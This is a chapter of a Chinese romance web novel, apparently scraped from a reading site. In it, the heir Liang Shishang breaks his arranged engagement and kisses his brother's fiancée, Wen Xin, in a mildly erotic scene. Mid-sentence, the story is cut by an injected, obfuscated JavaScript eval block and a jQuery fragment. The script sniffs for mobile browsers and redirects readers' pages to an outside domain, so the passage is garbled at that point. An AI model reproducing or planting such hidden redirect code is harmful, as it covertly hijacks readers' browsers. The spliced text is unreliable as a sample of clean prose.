35. 第 35 章

作品:《他(她)真的很香

    唐雯从书房出来的时候,客厅烟雾弥漫,呛得她咳嗽了好几声。


    缭缭升起的烟雾几乎遮挡住梁时商,他孤零零一个人坐在沙发角落,阴影几乎将他吞没。


    唐雯很少见他这样,他向来是个很有绅士风度的男人,不会在密闭空间当着女人面抽烟,更不会把女生一个人留在书房这么久。


    “发生什么事了吗?”唐雯坐过去先试探着靠近他,“刚刚听见是铭州回来了,他惹你生气了?”


    她看见梁时商偏过头,薄唇吐出一口薄蓝烟雾,眼微微眯着,狭长危险。


    唐雯看呆了,认识这么久,第一次见他流出如此性感颓然的样子。


    今晚梁时商邀约她过夜,给了唐雯很大勇气。


    她主动攀上梁时商胳膊,身体往前倾,试探着去踫他溢出香烟的薄唇。


    呛人又迷乱的香烟加速人心跳,夜色雨声就是最好的催化物。


    他没有拒绝,就这么看着她靠近。


    唐雯心跳如鼓,即将碰上他唇瓣时,他忽然像是被惊醒,力度有些粗鲁地推开了她。


    梁时商豁然站起身,喘着粗气撑在窗台上,背微微弓着,仿佛刚才那个即将贴上的吻,给了他莫大的痛处。


    唐雯险些被推倒在地,脸色不虞:“你什么意思?”


    邀请的是他,推开的还是他。


    客厅陷入沉默,催/情的雨声不知何时变成了尖锐的利器。


    唐雯双拳紧紧攥紧,起身质问:“梁时商,你到底什么意思!我的吻让你感到恶心?”


    “抱歉。”梁时商声音低沉,嗓子压到极致:“我做不到......”


    “做不到什么!你今天就把话给我说清楚!”


    梁时商缓慢转过头,巨大的暗影匍匐在身前,他像是被那暗影压制,目光略显涣散的落在唐雯身上。


    眼前的女人是梁家给他指定的未婚妻,身世学历样样匹配,他应该接受安排,与她结婚生子,将梁家的基业发扬光大,完成自己的梦想。


    从小他严格按照梁家的要求做个合格的继承人,这是他必须履行的责任,他被梁家框死了。


    青春期除了学习,没有幻想过任何一个女性,因为他知道家族会安排联姻对象,所有的伴侣雏形都是梁家加筑给他的。


    他的轨道不容有失,可谁又能料到有一个人忽然出现,硬生生将他的轨道折断。


    不知不觉他脑海已经刻入了属于他梁时商本人的伴侣雏形。


    那张脸漂亮美艳,坏透了、热烈到极致。


    她像一团烈火燃烧他的克制,将梁家的枷锁烧得粉碎。


    他太了解自己了,只有和唐雯名副其实,才能截断他的后路,彻底粉碎他的欲望。


    可......


    这不是一场可控的生意,哪怕他再理智,也抵不过感情的失控。


    唐雯倾上来的那一刻,他的身体自主失控推开她。


    他做不到触碰别的女人,也接受不了温昕接受别的男人。


    他甚至在想,为什么不能像梁铭州一样为己而活!他按照梁家人的要求规规矩矩活了三十年,越轨一次怎么了!


    就一次,满足他的私欲。


    做到这一步,他努力过了,这不能怪他啊。


    唐雯见他神情变幻莫测,似乎掺杂着痛苦、挣扎、悲伤……


    最后他像是释然,低头笑了一声,再抬头眸色冷静,几乎冻到了她。


    唐雯听到他说:“我们取消婚约吧。”


    “你耍我!”唐雯难以置信:“你约我留下来难道是为了羞辱我?”


    “抱歉。”


    “我不要你的抱歉!”唐雯也是人人捧着的大小姐,何曾被人这样羞辱,看着他冷淡的脸庞,她恍然一笑:“是因为温昕?”


    梁时商眼尾骤然凌厉。


    还有什么不明白的,孤男寡女同处一室,总会有失控的时候。


    只不过她怨恨梁时商毁婚是因为其他女人!这对她来说是莫大的耻辱!


    “梁时商,我且看着你们的事暴露,如何收场!和弟弟的未婚妻逾墙窥隙!”


    梁时商静静看着她,不反驳。


    唐雯越发心死,颓然一笑,她以为梁时商这样的男人以事业为重,总有一天会热起来。


    没想到啊……


    他这样冷静自持的人也会有失去理智的一天,要与家族为敌与伦理为敌。


    -


    温昕歪着头坐在飘窗上看夜雨飘摇,静静等待。


    梁铭州已经离开十五分钟,应该没这么快回来。


    真正的猎人应该要更冷静更有耐心。


    她甚至笑了一下。


    忽然,疾风骤雨中,房间门被敲响了。


    她赤脚跳下飘窗,笑盈盈拉开房门:“这么久......借到了吗......”


    后面的话被硬生生截断,门外站着的当然不是梁铭州,而是梁时商。


    他面无表情看着她,微弱壁灯拉长他面部阴影。


    温昕发现他瞳孔很黑,仿佛有盘旋的漩涡蛰伏在他幽静的瞳色中,一旦被吸进去,便会粉身碎骨。


    温昕脊背打了个冷颤。


    两人隔着一扇门谁也不退让地凝视。


    视线是一场拉锯战,冷热焦灼。


    温昕被他看得有些发毛,纯良地问:“梁铭州呢?”


    梁时商鼻腔哼出一声笑,“你料到我会来,不是吗?”


    “哦,这话怎么说?”


    温昕双臂抱胸,扬起高傲的脖颈,露出那脆弱引/诱的动脉。


    梁时商的目光一路上行,隐忍地落在她挑衅的脸颊上,倏地,往前逼近一步,跨过门槛,进入她的领域,声音暗夜涌动,“你在逼我就范。”


    空气随着嗓音呼吸逐渐变得粘稠起来。


    “那你就范了吗?”温昕小幅度喘了一下,仰首直视他黑眸,“是你在逼我,你以为你找别的女人,我就不能找别的男人?你不要我,有的是男人要我!”


    温昕满意地看到他脸色急速变差,他太阳穴突突跳动,看她的眼神复杂又愤恨。


    他直接将她逼近。


    温昕被他身上的侵略性震住,控制不住节节溃败。


    咔哒一声——


    梁时商彻底进入她领域,锁了房门。


    屋里的氛围瞬间像沸腾的热水,暗香汹涌,呼吸与脉搏齐齐跳动,几欲喘不过气。


    “你要干嘛......”温昕感觉四肢开始发软。


    这样强势有侵略性的梁时商,她第一次见。


    矜贵温雅的皮囊终于露出里面的芯子,谁都有七情六欲,做不到绝对的圣人,他亦是如此。


    不管如何恪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894071|154604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    守本分规则,人性的恶贪并不会磨灭,压抑久了,一旦暴露会比火山爆发还要激烈。


    是温昕亲手剥掉了他的外壳,让他袒露了自己的劣性。


    眼前的梁时商真实得让人胆颤。


    “我来就范……”梁时商扣住她脆弱的后颈,掌控她,每个字都让她酥麻,他说:“我认输了,不挣扎了,你赢了,温昕,你赢了。”


    他呢喃着,不再克制,彻底挣脱身上的枷锁。


    他无法忍受别的男人与她亲密,那样他会感到莫大的不公,对家族产生怨念。


    他也会嫉妒也会痛苦。


    既然做不到,那就服从自己的心。


    做出决定的那一刻,他身为梁家长孙的责任分崩离析。


    擅长运筹帷幄的人,怎么可能会屈服命运。


    他已经开始预想他和温昕暴露后的一切危险公关,如何稳住手上的权,如何守住他和温昕的关系。


    既已决定,那便要收获属于他的果实。


    梁时商俯身靠近,气音涌动到她耳瓣。


    温昕脊椎骤然发麻,四肢发软。


    这样的梁时商太他妈性感了!


    他的脸先贴过来,唇一点点游走,从她耳瓣脸颊再到狠狠吻住她。


    她的唇瓣湿润馨香,刚涂过口脂,满唇溢香。


    大晚上为什么要涂口红?


    哦……是因为梁铭州么?


    还好他捷足先登,没人有可乘之机。


    唇瓣碾压辗转,他终于吻含住这张满嘴情话、两次撕咬他勾缠他的唇瓣。


    很软很湿,比他夙夜辗转幻想的还要软,好像随时会化开,烫伤他。


    在温昕看来,他的吻又急又凶,毫无章法。


    疼痛酥麻间,她发出一声类似邀请的嘤呤,梁时商动作一顿,汹涌澎湃地探出了舌尖。


    温昕主动迎合,迎上他探入的舌尖,软肉丝滑,像过电一样从舌尖遍布全身。


    压抑爆发后的吻,是如此醉人。


    那些伦理道德,加速了他们的肾上腺素。


    焦渴急需扑灭,过往的克制一旦被允许,欲望如疯长的触手,爬满他们每一处肌肤。


    胸膛的碰撞,双臂的钳制,激吻的醉人,彻底燃烧了他们的理智。


    他们像疯了一样。


    喘息声轻重交叠,压过了窗外的疾风骤雨,雨滴声都盖不住口津的交替。


    温昕感觉自己要被梁时商吻死了,怎么有人可以一边高洁,又一边下/流。


    她今天的睡衣并不是很暴露,荷叶肩的绸缎睡裙,滑溜溜的,激吻碰撞之中,荷叶肩垂落,露出大片发光的肩颈。


    温昕察觉梁时商的黑眸好暗沉,像藏了一头野兽。


    忽然,他一口咬向她脆弱脖颈,温昕被迫拉长脖颈。


    这个画面瞬间刺激到他。


    所有的不甘都在此刻心甘情愿。


    她的妩媚甜蜜仿佛天生为他而生,他从未想过有一天会为了一个女人放弃原则,色令智昏。


    她的皮肤滑得像一块羊脂玉色的美食,他没用力去咬,舍不得,舌尖舔舐,爱不释手。


    温昕被他舔得大脑空白,他一边像个不经事的鲁莽小子,一边又柔情蜜意地令她震颤。


    撕碎他的外壳,竟有意外之喜。


    这种反差,温昕很喜欢。